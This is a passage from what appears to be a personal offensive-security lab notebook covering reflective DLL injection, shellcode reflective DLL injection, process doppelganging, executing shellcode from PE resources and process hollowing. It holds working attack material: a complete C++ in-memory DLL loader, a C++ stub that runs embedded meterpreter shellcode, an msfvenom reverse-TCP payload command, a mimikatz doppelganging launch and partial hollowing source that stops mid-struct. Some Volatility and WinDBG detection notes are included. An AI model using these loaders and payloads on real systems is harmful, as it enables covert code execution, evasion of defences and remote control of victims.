Note how the notepad spawned rundll32 which then spawned a cmd.exe because of the meterpreter payload (and attacker's `shell` command) that got executed as part of the injected evilm64.dll into the notepad process:

![](/files/-LKwe556aCAPH4AAKFn7)

![](/files/-LKwe2epU_trlbY-O06I)

## References

{% embed url="<https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx>" %}

{% embed url="<https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175(v=vs.85).aspx>" %}


# Reflective DLL Injection

Loading DLL from memory

Reflective DLL injection is a technique that allows an attacker to inject a DLL's into a victim process **from memory** rather than disk.

## Purpose

The purpose of this lab is to:

* Test reflective DLL injection capability in metasploit
* Goof around with basic memory forensics
* Implement a simple reflective DLL injection POC by myself

## Technique Overview

The way the reflective injection works is nicely described by the technique's original author Stephen Fewer [here](https://github.com/stephenfewer/ReflectiveDLLInjection):

> * Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
> * As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
> * The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
> * The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
> * The library's headers and sections are loaded into their new locations in memory.
> * The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
> * The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
> * The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL\_PROCESS\_ATTACH. The library has now been successfully loaded into memory.
> * Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.

## Execution

This lab assumes that the attacker has already gained a meterpreter shell from the victim system and will now attempt to perform a reflective DLL injection into a remote process on a compromised victim system, more specifically into a `notepad.exe` process with PID `6156`

Metasploit's post-exploitation module `windows/manage/reflective_dll_inject` configured:

![](/files/-LLPhoqZ9b_t_eoQpQUG)

{% hint style="info" %}
`Reflective_dll.x64.dll` is the DLL compiled from Steven Fewer's [reflective dll injection](< https://github.com/stephenfewer/ReflectiveDLLInjection>) project on github.
{% endhint %}

After executing the post exploitation module, the below graphic shows how the notepad.exe executes the malicious payload that came from a reflective DLL that was sent over the wire from the attacker's system:

![](/files/-LLPhQUpJRJ5GxVOc3N6)

## Observations

Once the metasploit's post-exploitation module is run, the procmon accurately registers that notepad created a new thread:

![](/files/-LLQcNOPEsUhXfnEuUbk)

Let's see if we can locate where the contents of `reflective_dll.x64.dll` are injected into the victim process when the metasploit's post-exploitation module executes.

For that, lets debug notepad in WinDBG and set up a breakpoint for `MessageBoxA` as shown below and run the post-exploitation module again:

```cpp
0:007> bp MessageBoxA
0:007> bl
0 e 00000000`77331304     0001 (0001)  0:**** USER32!MessageBoxA
```

The breakpoint is hit:

![](/files/-LLQhWQ-WLYHtM5TKMkl)

At this point, we can inspect the stack with `kv` and see the call trace. A couple of points to note here:

* return address the code will jump to after the `USER32!MessageBoxA` finishes is `00000000031e103e`
* inspecting assembly instructions around `00000000031e103e`, we see a call instruction `call qword ptr [00000000031e9208]`
* inspecting bytes stored in `00000000031e9208`, (`dd 00000000031e9208 L1`) we can see they look like a memory address `0000000077331304` (note this address)
* inspecting the EIP pointer (`r eip`) where the code execution is paused at the moment, we see that it is the same `0000000077331304` address, which means that the earlier mentioned instruction `call qword ptr [00000000031e9208]` is the actual call to `USER32!MessageBoxA`
* This means that prior to the above mentioned instruction, there must be references to the variables that are passed to the `MessageBoxA` function:

![](/files/-LLQg79jbjcnRRpY4XHx)

If we inspect the `00000000031e103e` 0x30 bytes earlier, we can see some suspect memory addresses and the call instruction almost immediatley after that:

![](/files/-LLQjosnMxodbt5UNtyy)

Upon inspecting those two addresses - they are indeed holding the values the `MessageBoxA` prints out upon successful DLL injection into the victim process:

```cpp
0:007> da 00000000`031e92c8
00000000`031e92c8  "Reflective Dll Injection"
0:007> da 00000000`031e92e8
00000000`031e92e8  "Hello from DllMain!"
```

![](/files/-LLQkckD9baNDkw8hWAd)

Looking at the output of the `!address` function and correlating it with the addresses the variables are stored at, it can be derived that the memory region allocated for the evil dll is located in the range `031e0000 - 031f7000`:

![](/files/-LLQlDOyw_omc1KCMMDU)

Indeed, if we look at the `031e0000`, we can see the executable header (MZ) and the strings fed into the `MessageBoxA` API can be also found further into the binary:

![](/files/-LLQmBJK2a2arMJNuwGb)

## Detecting Reflective DLL Injection with Volatility

`Malfind` is the Volatility's pluging responsible for finding various types of code injection and reflective DLL injection can usually be detected with the help of this plugin.&#x20;

The plugin, at a high level will scan through various memory regions described by Virtual Address Descriptors (VADs) and look for any regions with `PAGE_EXECUTE_READWRITE` memory protection and then check for the magic bytes `4d5a` (MZ in ASCII) at the very beginning of those regions as those bytes signify the start of a Windows executable (i.e exe, dll):

```csharp
volatility -f /mnt/memdumps/w7-reflective-dll.bin malfind --profile Win7SP1x64
```

Note how in our case, volatility discovered the reflective dll injection we inspected manually above with WindDBG:

![](/files/-LLVaEQuluCK3BRNi0Nm)

## Implementing Reflective DLL Injection

I wanted to program a simplified Reflective DLL Injection POC to make sure I understood its internals, so this is my attempt and its high level workflow of how I've implemented it:

1. Read raw DLL bytes into a memory buffer
2. Parse DLL headers and get the SizeOfImage
3. Allocate new memory space for the DLL of size `SizeOfImage`
4. Copy over DLL headers and PE sections to the memory space allocated in step 3
5. Perform image base relocations
6. Load DLL imported libraries
7. Resolve Import Address Table (IAT)
8. Invoke the DLL with `DLL_PROCESS_ATTACH` reason

Steps 1-4 are pretty straight-forward as seen from the code below. For step 5 related to image base relocations, see my notes [T1093: Process Hollowing and Portable Executable Relocations](/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations#relocation)

### Resolving Import Address Table

Portable Executables (PE) use Import Address Table (IAT) to lookup function names and their memory addresses when they need to be called during runtime.

When dealing with reflective DLLs, we need to load all the dependent libraries of the DLL into the current process and fix up the IAT to make sure that the functions that the DLL imports point to correct function addresses in the current process memory space.

In order to load the depending libraries, we need to parse the DLL headers and:

1. Get a pointer to the first Import Descriptor
2. From the descriptor, get a pointer to the imported library name
3. Load the library into the current process with `LoadLibrary`
4. Repeat process until all Import Descriptos have been walked through and all depending libraries loaded

Before proceeding, note that my test DLL I will be using for this POC is just a simple MessageBox that gets called once the DLL is loaded into the process:

![](/files/-LqhJCzKxq5TqO1P2-7S)

Below shows the first Import Descriptor of my test DLL. The first descriptor suggests that the DLL imports User32.dll and its function MessageBoxA. On the left, we can see a correctly resolved library name that is about to be loaded into the memory process with `LoadLibrary`:

![](/files/-LqhH5WStHNdWFQVlTrx)

Below shows that the user32.dll gets loaded successfully:

![](/files/-LqhHLBPEbEbdlPy3aYL)

After the Import Descriptor is read and its corresponding library is loaded, we need to loop through all the thunks (data structures describing functions the library imports), resolve their addresses using `GetProcAddress` and put them into the IAT so that the DLL can reference them when needed:

![](/files/-LqhHrxw3X5CBdVy_0TC)

![](/files/-LqhIebu00ViIjhhmhVw)

Once we have looped through all the Import Decriptors and their thunks, the IAT is considered resolved and we can now execute the DLL. Below shows a successfully loaded and executed DLL that pops a message box:

![](/files/-LqhJi2q2SmpPFiXHQUN)

### Code

```cpp
#include "pch.h"
#include <iostream>
#include <Windows.h>

typedef struct BASE_RELOCATION_BLOCK {
	DWORD PageAddress;
	DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()
{
	// get this module's image base address
	PVOID imageBase = GetModuleHandleA(NULL);

	// load DLL into memory
	HANDLE dll = CreateFileA("\\\\VBOXSVR\\Experiments\\MLLoader\\MLLoader\\x64\\Debug\\dll.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
	DWORD64 dllSize = GetFileSize(dll, NULL);
	LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
	DWORD outSize = 0; 
	ReadFile(dll, dllBytes, dllSize, &outSize, NULL);

	// get pointers to in-memory DLL headers
	PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
	SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

	// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
	//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			
	// get delta between this module's image base and the DLL that was read into memory
	DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

	// copy over DLL image headers to the newly allocated space for the DLL
	std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

	// copy over DLL image sections to the newly allocated space for the DLL
	PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
	for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
	{
		LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
		LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
		std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
		section++;
	}

	// perform image base relocations
	IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
	DWORD relocationsProcessed = 0;

	while (relocationsProcessed < relocations.Size) 
	{
		PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
		relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
		DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
		PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

		for (DWORD i = 0; i < relocationsCount; i++)
		{
			relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

			if (relocationEntries[i].Type == 0)
			{
				continue;
			}

			DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
			DWORD_PTR addressToPatch = 0;
			ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
			addressToPatch += deltaImageBase;
			std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
		}
	}
	
	// resolve import address table
	PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
	IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
	LPCSTR libraryName = "";
	HMODULE library = NULL;

	while (importDescriptor->Name != NULL)
	{
		libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
		library = LoadLibraryA(libraryName);
		
		if (library)
		{
			PIMAGE_THUNK_DATA thunk = NULL;
			thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);

			while (thunk->u1.AddressOfData != NULL)
			{
				if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
				{
					LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
					thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
				}
				else
				{
					PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
					DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
					thunk->u1.Function = functionAddress;
				}
				++thunk;
			}
		}

		importDescriptor++;
	}

	// execute the loaded DLL
	DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
	(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);

	CloseHandle(dll);
	HeapFree(GetProcessHeap(), 0, dllBytes);

	return 0;
}
```

## References

{% embed url="<https://github.com/stephenfewer/ReflectiveDLLInjection>" %}

{% embed url="<https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal>" %}

{% embed url="<https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/>" %}

{% embed url="<https://github.com/nettitude/SimplePELoader/>" %}


# Shellcode Reflective DLL Injection

Shellcode reflective DLL injection (sRDI) is a technique that allows converting a given DLL into a position independent shellcode that can then be injected using your favourite shellcode injection and execution technique. In this lab I wanted to try this technique as I think it is an amazing technique to have in your arsenal.

In this lab, I'm playing with the amazing <https://github.com/monoxgas/sRDI> written by monoxgas from Silent Break Security.

## Execution

Let's compile a simple x86 DLL - in my case, an odd DLL that pops 2 notepad processes when executed:

![](/files/-LjSvUBjVqzB_3nceoWi)

Convert the DLL into shellcode. We will get an array of shellcode bytes represented in decimal values:

```csharp
$sc = ConvertTo-Shellcode \\VBOXSVR\Experiments\messagebox\messagebox\Debug\messagebox.dll
```

![](/files/-LjScZ1IsecIta-eRGP9)

Let's convert them to hex:

```csharp
$sc2 = $sc | % { write-output ([System.String]::Format('{0:X2}', $_)) }
```

![](/files/-LjSdspQB8-dVUn0PySt)

Join them all and print to a text file:

```
$sc2 -join "" > shell.txt
```

![](/files/-LjSpDUX4et_bGhXqEjU)

Create a new binary file with the shellcode we got earlier - just copy the hex string (as seen in the above screenshot) and paste it to a new file using HxD hex editor:

![](/files/-LjSw2nFPXwgHVVMttmd)

In order to load and execute the shellcode, we will place it in the binary as a resource as described in my other lab [Loading and Executing Shellcode From PE Resources](/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources):

![](/files/-LjSw86-sEyrM6zkGbz3)

Compile and run the binary. If the shellcode runs successfully, we should see two notepad.exe processes popup:

![](/files/-LjSwX8r33rMWYenuqnq)

## References

{% embed url="<https://github.com/monoxgas/sRDI/tree/master/PowerShell>" %}


# Process Doppelganging

This lab is simply a run of the tool written by @hasherezade that was inspired by the BlackHat talk by Tal Liberman and Eugene Kogan where they presented their research on Process Doppelganging - see [references](/offensive-security/code-injection-process-injection/process-doppelganging#references) for their slides.

Process doppelganing is a code injection technique that leverages NTFS transacations related Windows API calls which are (used to be?) less used with malicious intent and hence "less known" to AV vendors, hence this code injection technique is (was?) more likely to go undetected.

Mostly, I wanted to do this lab and see if Windows Defender caught up with this technique or not since the technique has been introduced almost a year ago from the time of this writing.

## Execution

First of, download hasherezade's PoC for doppleganging here <https://github.com/hasherezade/process_doppelganging> and compile it.

Then test the technique like so:

{% code title="attacker\@victim" %}

```csharp
.\process-doppelganger.exe C:\tools\mimikatz\x64\mimikatz.exe c:\zone.txt
```

{% endcode %}

Note in the below screenshot how mimikatz is launched, but the Process Explorer actually represents the mimikatz process as zone.txt - this is because multiple Process Environment Block's (PEB) memory structures of the newly created process were modified during the new process creation:

{% hint style="info" %}
This test was done on Windows 7
{% endhint %}

![](/files/-LV3uv6N-_zKHv7FuoSK)

Below are two links where we explore the PEB in a bit more depth:

{% content-ref url="/pages/-LL0z4oOoj0hSWOAg2-1" %}
[Exploring Process Environment Block](/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block)
{% endcontent-ref %}

{% content-ref url="/pages/-LPN\_7JKwQQAQIkRZo\_e" %}
[Masquerading Processes in Userland via \_PEB](/offensive-security/defense-evasion/masquerading-processes-in-userland-through-_peb)
{% endcontent-ref %}

## Windows 10

Going back to my original motivation as to why I wanted to try this technique out, which was to see if Windows 10 would detect this type of code injection - below is the answer:

![](/files/-LV42B3xmr4HQlVDo1TT)

![](/files/-LV3uwlJthsKMJUhEnsx)

## References

{% embed url="<https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf>" %}

{% embed url="<https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/>" %}

{% embed url="<https://github.com/hasherezade/process_doppelganging>" %}


# Loading and Executing Shellcode From PE Resources

## Context

This lab shows one of the techniques how one could load and execute a non-staged shellcode from within a C program using PE resources using Visual Studio.

If you've ever tried executing an unstaged shellcode from a C/C++ program, you know that you will be having a hard time doing it if you are defining a huge char array which looks like this (just a snippet):

![](/files/-LczfJcFJD0TpnAU04hN)

Below is a quick walkthrough that was inspired by [@\_RastaMouse](https://twitter.com/_RastaMouse) tweet:

![](/files/-LczoFqteVU717Ipt91F)

## Embedding The Shellcode as a Resource

Let's generate a non-staged meterpreter payload in binary format first. This will be our resource that we want to embed into our C++ program:

```csharp
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.0.0.5 LPORT=443 > meterpreter.bin
```

Right click on the `Resource Files` in Solution Explorer and select `Add > Resource`

![](/files/-Lczg-NC45MAa8Lu8LnR)

Click `Import` and select the resource you want to include. In my case - it's the `meterpreter.bin`:

![](/files/-LczUQ316ZkEV4levT1d)

Give resource a resource type name - anything works, but you need to remember it when calling `FindResource` API call (shown later in the code):

![](/files/-LczUoRNGF7gT-ysXVYe)

At this point, you can see in your resource browser that the `meterpreter.bin` is now included in your program's resources:

![](/files/-LczVB9rZjercKyAxyb1)

![](/files/-Lcz_5q_rQssqmXsUtU6)

If you compile your program now and inspect it with resource hacker, you can now see the shellcode you have just embedded as a PE resource:

![](/files/-Ld4u1hNt60p0Ez6Fs0Z)

## Code

We can then leverage a small set of self-explanatory Windows APIs to find the embedded resource, load it into memory and execute it like so:

```cpp
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include "resource.h"

int main()
{
	// IDR_METERPRETER_BIN1 - is the resource ID - which contains ths shellcode
	// METERPRETER_BIN is the resource type name we chose earlier when embedding the meterpreter.bin
	HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN");
	DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
	HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
	
	void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcodeResouceData, shellcodeSize);
	((void(*)())exec)();

	return  0;
}
```

Compile and run the binary and enjoy the shell:

![](/files/-LczeUwKWuJuiJD0HvHt)

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/menurc/finding-and-loading-resources>" %}


# Process Hollowing and Portable Executable Relocations

Code injection, evasion

This lab is my attempt to better understand and implement a well known code injection technique called process hollowing, where a victim process is created in a suspended state, its image is carved out from memory, a malicious binary gets written instead and the program state is resumed to execute the injected code.

Although my implementation of process hollowing does not work with all binaries, I still found it valuable in doing this lab since the aim was to:

* get a better understanding of the technique's technicalities under the hood
* become a bit more comfortable with C++ and Windows APIs
* get a bit more familiar with image relocations
* become a bit more comfortable with inspecting / manipulating program's memory
* get to do more PE parsing and PE relocations

The main reference resource for this lab was <https://github.com/m0n0ph1/Process-Hollowing>. \
Shout out to [Mumbai](https://twitter.com/ilove2pwn_) for a great debugging session and as usual, talking C to me!

If you need more info on parsing Windows PE files, see my previous lab:

{% content-ref url="/pages/-LQPhLIg2HTVSIbKB2tQ" %}
[Parsing PE File Headers with C++](/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++)
{% endcontent-ref %}

## Execution

{% hint style="warning" %}
You may notice that `ImageBaseAddress` varies across the screenshots. \
This is because I ran the binary multiple times and the ASLR played its role.
{% endhint %}

### Destination / Host Image

Let's start calc.exe as our host / destination process - this is going to be the process that we will be hollowing out and attempt to replace it with cmd.exe.

![](/files/-LdZZ7DB7xV5-6zYtmRh)

### Destination ImageBaseAddress

Now, in order to hollow out the destination process, we need to know its `ImageBaseAddress`. We can get the location of image base address from the [PEB](/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block) structure of the host process via WinDBG - we know that the PEB is located at 0100e000:

![](/files/-LdZ_stzqB_qkUHRqRg0)

..and we also know that the `ImageBaseAddress`is 8 bytes away from the PEB:

![](/files/-LdZaJ1K5jsVE2I0Rv2U)

So, in the code we can get the offset location like so:

![](/files/-LdZ_ASzXVV0fOxsfA4H)

Finally, we can then get the `ImageBaseAddress` by reading that memory location:

![](/files/-LdZai41_pMSwNd-cGRe)

Let's confirm we got the right `ImageBaseAddress`:

```
dt _peb @$peb
```

![](/files/-LdZavUIMzMPnfL0WwwW)

We will come back to the hollowing the destination image located at `ImageBaseAddress` in a moment.

### Source Image

Let's now switch gears to the source file - the binary that we want to execute inside the host/destination  process. In my case it's - cmd.exe. I've opened the file, allocated required memory and read the file to that memory location:

![](/files/-LdZbdjptUfr5UMHboAg)

### Source Image Size

Let's get the `SizeOfImage` of the source image (cmd.exe) from its Optional Headers of the PE we just read - we need to know this value since we will need to allocate that much memory in the destination process (calc) in order to copy over the souce image (cmd):

![](/files/-LdZcXQKG7ZKlMTv4mCW)

### Destination Image Unmapping

We can now carve / hollow out the destination image. Note how at the moment, before we perform the hollowing, the memory at address `01390000` (`ImageBaseAddress`) contains the calc.exe image:

![](/files/-LdZd5bTr-UuoCWi6LMD)

Let's proceed with the hollowing:

![](/files/-LdZdQtkJQT77sKWA50V)

If we check the `ImageBaseAddress` now, we can see the image is gone:

![](/files/-LdZdqi5lVWlRdAX4Ibx)

### Allocating Memory In Destination Image

We now need to allocate a block of memory of size `SizeOfImage` in the destination process that will be our new `ImageBaseAddress` of the source image. Ideally, we would allocate new memory at ImageBaseAddress of the destination image, however I was getting an error `ERROR_INVALID_ADDRESS,`although I could see the memory at that address was properly unmapped. Additionally it was committed previously and contained the destination image:

![Not sure if this is the main reason the lab failed.](/files/-Ld_1LSma6FJa7IdUbZo)

Microsoft on `ERROR_INVALID_ADDRESS`:

> If this address is within an enclave that you have not initialized by calling [InitializeEnclave](https://msdn.microsoft.com/6A711135-A522-40AE-965F-E1AF97D0076A), **VirtualAllocEx** allocates a page of zeros for the enclave at that address. The page must be previously uncommitted, and will not be measured with the EEXTEND instruction of the Intel Software Guard Extensions programming model.
>
> If the address in within an enclave that you initialized, then the allocation operation fails with the **ERROR\_INVALID\_ADDRESS** error.

Although I did not use enclaves, I am not sure if Windows 10 did that for me as part of some API call I used or when loading the destination process in memory.

Interesting to note that even the main reference resource I used for this lab was failing with the same error.

For the above reason, I let the compiler decide where new memory will be allocated. After the memory has been allocated, we need to calculate the delta between the `ImageBaseAddress` of the destination image and the source image's preferred `ImageBase`- this is required for patching the binary during the relocations phase:

![](/files/-LdZfC5i-r4BKbvu-37n)

### Copying Source Image Headers

We can now copy over the source image headers into the newly allocated memory in the destination process:

![](/files/-LdZjAbkHfRU99LcZsQo)

### Copying Source Image Sections to Destination Process

Let's now get the first Section Header of the source file and make sure we are reading it correctly by comparing the details via a PE parser:

![](/files/-LdZhJFrnRzxNkXaAEf9)

We can now copy over all the PE sections of the source file to the destination process. This loop will do it for us:

![](/files/-LdZi0nQUDYDMHZU1X2v)

Below shows how a .text section is copied over from the disk to memory:

![](/files/-LdZi9x5PFAt0n39KYBj)

We can see the bytes on the disk (left) match those in memory (right), so we know the section was copied over successfully - the same will be done with other remaining sections:

![](/files/-LdZid0KDTdUvy80CJvb)

### Relocation

Now it's time to perform image base relocations.&#x20;

Since our source image was loaded to a different `ImageBaseAddress` compared to where the destination process was loaded into initially, it needs to be patched in order for the binary to resolve addresses to things like static variables and other absolute addresses which otherwise would no longer work. The way the windows loader knows how to patch the images in memory is by referring to a relocation table residing in the binary.

Relocation table contains:

* A number of variable sized relocation blocks for each memory page
* Relocation block defines its Relative (to image base) Virtual Address location (first 4 bytes of the relocation block)
* Relocation block specifies its size (bytes 5-8 from the beginning of the relocation block)
* After the block size, there is a list of 2 byte pairs denoting the patching instructions, where the first 4 bits indicate relocation type and the remaining 12 bits signify the location of the bytes (relative to the image base) that actually need to be patched

Here's a diagram of the above points, where Block 1..N are relocation blocks and B1P-BNP are the required patch definitions (relocation type and relocation address) themselves:

![](/files/-LdogHbWXuTG01qvRxkX)

This is how it looks like in the hex dump of a binary regshot.exe (see Updates to know why I switched the binaries):

![](/files/-LdokxJ_VTD1KAwXBNgx)

In order to do relocations in code, we first need to find a pointer to the relocations table, which is essentially a `.reloc` section in our source binary:

![](/files/-LdZkiwpwPzdO5pBuuzO)

### Reading First Relocation Block

Now, let's get the information about the fist relocation block and make sure we are reading it correctly:

![](/files/-LdZlgnmWOewax0IGw1U)

### Getting Relocations Count

Since we know the relocation block size and the size of an individual relocation entry, we can work out how many relocations this block defines:

![](/files/-LdZmDwj-sAmwjwtzbFW)

### Relocating

Below loop will fix up the required memory locations. It works by:

* finding the relocation table and cycling through the relocation blocks
* getting the nuber of required relocations in each relocation block
* reading bytes in the specified relocation addresses
* applying delta (between source and destination imageBaseAddress) to the values specified in the relocation addresses
* writing the new values to specified relocation addresses
* repeating the above until the entire relocation table is traversed

See [Update #2](/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations#update-2) for more:

![](/files/-LdZpQ2QkE_gGBl2X4vC)

Below shows how the loop iterates through the relocation entries (cross reference bottom right screen for RVAs) and patches the memory as seen in the top right corner:

![](/files/-LdZpc5qoVD32Hqvpnbd)

### Changing AddressOfEntryPoint

After the fix-ups are done, we need to capture the destination process thread context, since it conains a pointer to the `eax` register which we will need to update with `AddressOfEntryPoint` of the source image:

![](/files/-LdZq94h8Zuds4DFgbcE)

Once that is done, we can update the `AddressOfEntryPoint` of the source image, update the thread with the new entry point and resume the thread:

![](/files/-LdZqDWTaTL9fQ-Zjo7m)

At this point, if we compile and run the program, our cmd.exe should be launched inside the hollowed out calc.exe. Unfortunately, in my lab environment, this failed with:

![](/files/-LdZrOF2awtXR5mK28gt)

I must have messed something up along the way. Having said that, I tried compiling and running the POC provided at <https://github.com/m0n0ph1/Process-Hollowing> and cross referenced results of my program with the POC - everything matched up, includig the final error :)

If you are reading this and you see what I have missed, as always, I want to hear from you.

## Update #1

After talking to [@mumbai](https://twitter.com/ilove2pwn_), the issue I was having with [memory allocation](/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations#allocating-memory-in-destination-image) in the destination process at the `ImageBaseAddress` is now magically gone (?). This means that I can now perform process hollowing and I will be using notepad.exe (line 28) as the destination process and regshot.exe (line 42) will be written to the hollowed notepad.exe process:

![](/files/-LdejJ2_9EcDAAXNTp80)

Below is a powershell one-liner that constantly checks if there's a notepad.exe process running (our destination process). Once found, it checks if a process `*regshot*` (our source binary) is running (to prove that it is not, since it should be hidden inside the notepad.exe) and breaks the loop:

```csharp
while(1) { get-process | ? {$_.name -match 'notepad'} | % { $_; get-process "*regshot*"; break } }
```

Below shows this all in action - once the program is compiled and executed, notepad.exe is launched, powershell loop (top right) stops. Note how regshot.exe is not visible in the process list, however when closing it, notepad.exe gets killed together - the hollow is successful:

![](/files/-LdemA-l67H_xy_YmtHP)

## Update #2

Zooming in a bit further on the PE relocations:

* Source image regshot.exe preferred image base is `00400000`
* Destination image notepad.exe image base got loaded into `00380000`
* Delta between images is `00400000 - 00380000 = 80000h`
* Bottom right shows that address in the destination image at address `imageBase + 1210h` needs to be fixed up using `IMAGE_REL_BASED_HIGHLOW`relocation type
  * Relocation type is worked out by taking the first 4 bits of the value stored in the relocation entry block, which in this case is **3**210h - bottom left screenshot or bottom right (data column)
  * **3**210h in bits - **0011** 0010 0001 0000 and the first 4 bits are 0011 which is 3 in decimal
* Top right (source image / notepad) shows that at `00381210` (00380000 + 1210h = 00381210) the value contained is `0040E7A5`, suggesting the address is based on the preferred image base of regshot since it starts with 0040xxxx
* `0040E7A5` would work OK for regshot if its image had been loaded at 00400000, but since it got loaded instead of notepad's image base at `00380000`, it needs to be patched by applying the delta (80000h) between images like so:

$$
0040E7A5 - 80000h = 38E7A5
$$

![](/files/-Ldk6qsESy-Z0ZZGXU5i)

After executing the code line 118 (top left in the screenshot above), `0040E7A5` got patched to the new location `0038E7A5` matching the new image base `00380000`that of notepad.exe (destination process):

![](/files/-LdkFV2t9rv4FOahJel9)

## Code

{% code title="process-hollowing.cpp" %}

```cpp
// process-hollowing.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>

using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);

typedef struct BASE_RELOCATION_BLOCK {
	DWORD PageAddress;
	DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
